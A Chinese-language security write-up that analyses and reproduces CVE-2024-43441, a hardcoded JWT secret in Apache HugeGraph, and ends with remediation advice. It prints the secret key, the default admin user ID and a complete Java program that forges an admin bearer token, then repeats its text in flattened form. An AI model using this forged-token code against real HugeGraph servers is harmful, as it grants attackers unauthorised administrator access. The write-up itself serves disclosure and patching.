CVE-2024-43441 Apache HugeGraph 硬编码漏洞 复现一则
字数 1126 2025-08-22 12:23:06

Apache HugeGraph 硬编码漏洞 (CVE-2024-43441) 分析与复现指南

漏洞概述

Apache HugeGraph 1.3.0及之前版本存在一个身份验证绕过漏洞(CVE-2024-43441),原因是系统中使用了硬编码的JWT(JSON Web Token)密钥。攻击者可以利用这个硬编码密钥伪造任意用户的Token,从而绕过身份验证机制,获得未授权的系统访问权限。

漏洞原理

JWT机制简介

JWT是一种用于身份验证的开放标准(RFC 7519),它由三部分组成:

  1. Header - 包含令牌类型和签名算法
  2. Payload - 包含声明(claims)
  3. Signature - 用于验证令牌完整性的签名

漏洞具体原因

HugeGraph在TokenGenerator.java中使用了一个硬编码的密钥FXQXbJtbCLxODc6tGci732pkH1cyf8Qg来生成和验证JWT令牌。由于密钥是固定的,攻击者可以:

  1. 获取默认密钥
  2. 构造任意用户的payload
  3. 使用硬编码密钥生成合法的JWT令牌
  4. 使用该令牌冒充其他用户

环境搭建

使用Docker搭建漏洞环境

docker run -itd --name=graph -e PASSWORD=123456 -p 8080:8080 hugegraph/hugegraph:1.3.0

启用身份验证

默认情况下HugeGraph不启用身份验证,需要参考官方文档手动开启。

启用后,未认证访问会返回401错误。

漏洞分析

关键代码位置

漏洞修复commit: 03b40a52446218c83e98cb43020e0593a744a246

关键代码文件: hugegraph-server/hugegraph-core/src/main/java/org/apache/hugegraph/auth/TokenGenerator.java

令牌生成流程

String secretKey = config.get(AuthOptions.AUTH_TOKEN_SECRET);
this.key = Keys.hmacShaKeyFor(secretKey.getBytes(StandardCharsets.UTF_8));

return Jwts.builder()
    .setClaims(payload)
    .setExpiration(new Date(System.currentTimeMillis() + expire))
    .signWith(this.key, SignatureAlgorithm.HS256)
    .compact();

令牌payload结构

StandardAuthManager.java中,令牌payload包含:

  • user_name: 用户名
  • user_id: 用户ID

默认管理员用户:

  • 用户名: admin
  • 用户ID: -30

漏洞复现

所需依赖

<dependency>
    <groupId>io.jsonwebtoken</groupId>
    <artifactId>jjwt-api</artifactId>
    <version>0.11.5</version>
</dependency>
<dependency>
    <groupId>io.jsonwebtoken</groupId>
    <artifactId>jjwt-impl</artifactId>
    <version>0.11.5</version>
    <scope>runtime</scope>
</dependency>
<dependency>
    <groupId>io.jsonwebtoken</groupId>
    <artifactId>jjwt-jackson</artifactId>
    <version>0.11.5</version>
    <scope>runtime</scope>
</dependency>

生成伪造令牌的Java代码

import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.SignatureAlgorithm;
import io.jsonwebtoken.security.Keys;
import javax.crypto.SecretKey;
import java.nio.charset.StandardCharsets;
import java.util.Date;
import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) {
        String secretKey = "FXQXbJtbCLxODc6tGci732pkH1cyf8Qg";
        SecretKey key = Keys.hmacShaKeyFor(secretKey.getBytes(StandardCharsets.UTF_8));
        
        Map<String, String> payload = new HashMap<>();
        payload.put("user_name", "admin");
        payload.put("user_id", "-30");
        
        String token = Jwts.builder()
            .setClaims(payload)
            .setExpiration(new Date(System.currentTimeMillis() + 36000))
            .signWith(key, SignatureAlgorithm.HS256)
            .compact();
        
        System.out.println(token);
    }
}

使用伪造的令牌

将生成的令牌添加到HTTP请求的Authorization头中:

Authorization: Bearer <生成的JWT令牌>

修复方案

  1. 升级到修复版本(1.3.0之后的版本)
  2. 如果无法立即升级,可以手动修改AUTH_TOKEN_SECRET配置,使用随机生成的Base64字符串作为密钥

修复后的版本使用随机生成的密钥而非硬编码密钥。

总结

该漏洞由于使用硬编码的JWT密钥,导致攻击者可以伪造任意用户的合法令牌。通过分析修复commit和关键代码,我们可以理解漏洞原理并复现攻击过程。建议所有使用受影响版本的用户立即升级或修改默认密钥。

Apache HugeGraph 硬编码漏洞 (CVE-2024-43441) 分析与复现指南 漏洞概述 Apache HugeGraph 1.3.0及之前版本存在一个身份验证绕过漏洞(CVE-2024-43441),原因是系统中使用了硬编码的JWT(JSON Web Token)密钥。攻击者可以利用这个硬编码密钥伪造任意用户的Token,从而绕过身份验证机制,获得未授权的系统访问权限。 漏洞原理 JWT机制简介 JWT是一种用于身份验证的开放标准(RFC 7519),它由三部分组成: Header - 包含令牌类型和签名算法 Payload - 包含声明(claims) Signature - 用于验证令牌完整性的签名 漏洞具体原因 HugeGraph在 TokenGenerator.java 中使用了一个硬编码的密钥 FXQXbJtbCLxODc6tGci732pkH1cyf8Qg 来生成和验证JWT令牌。由于密钥是固定的,攻击者可以: 获取默认密钥 构造任意用户的payload 使用硬编码密钥生成合法的JWT令牌 使用该令牌冒充其他用户 环境搭建 使用Docker搭建漏洞环境 启用身份验证 默认情况下HugeGraph不启用身份验证,需要参考 官方文档 手动开启。 启用后,未认证访问会返回401错误。 漏洞分析 关键代码位置 漏洞修复commit: 03b40a52446218c83e98cb43020e0593a744a246 关键代码文件: hugegraph-server/hugegraph-core/src/main/java/org/apache/hugegraph/auth/TokenGenerator.java 令牌生成流程 令牌payload结构 在 StandardAuthManager.java 中,令牌payload包含: user_ name: 用户名 user_ id: 用户ID 默认管理员用户: 用户名: admin 用户ID: -30 漏洞复现 所需依赖 生成伪造令牌的Java代码 使用伪造的令牌 将生成的令牌添加到HTTP请求的Authorization头中: 修复方案 升级到修复版本(1.3.0之后的版本) 如果无法立即升级,可以手动修改 AUTH_TOKEN_SECRET 配置,使用随机生成的Base64字符串作为密钥 修复后的版本使用随机生成的密钥而非硬编码密钥。 总结 该漏洞由于使用硬编码的JWT密钥,导致攻击者可以伪造任意用户的合法令牌。通过分析修复commit和关键代码,我们可以理解漏洞原理并复现攻击过程。建议所有使用受影响版本的用户立即升级或修改默认密钥。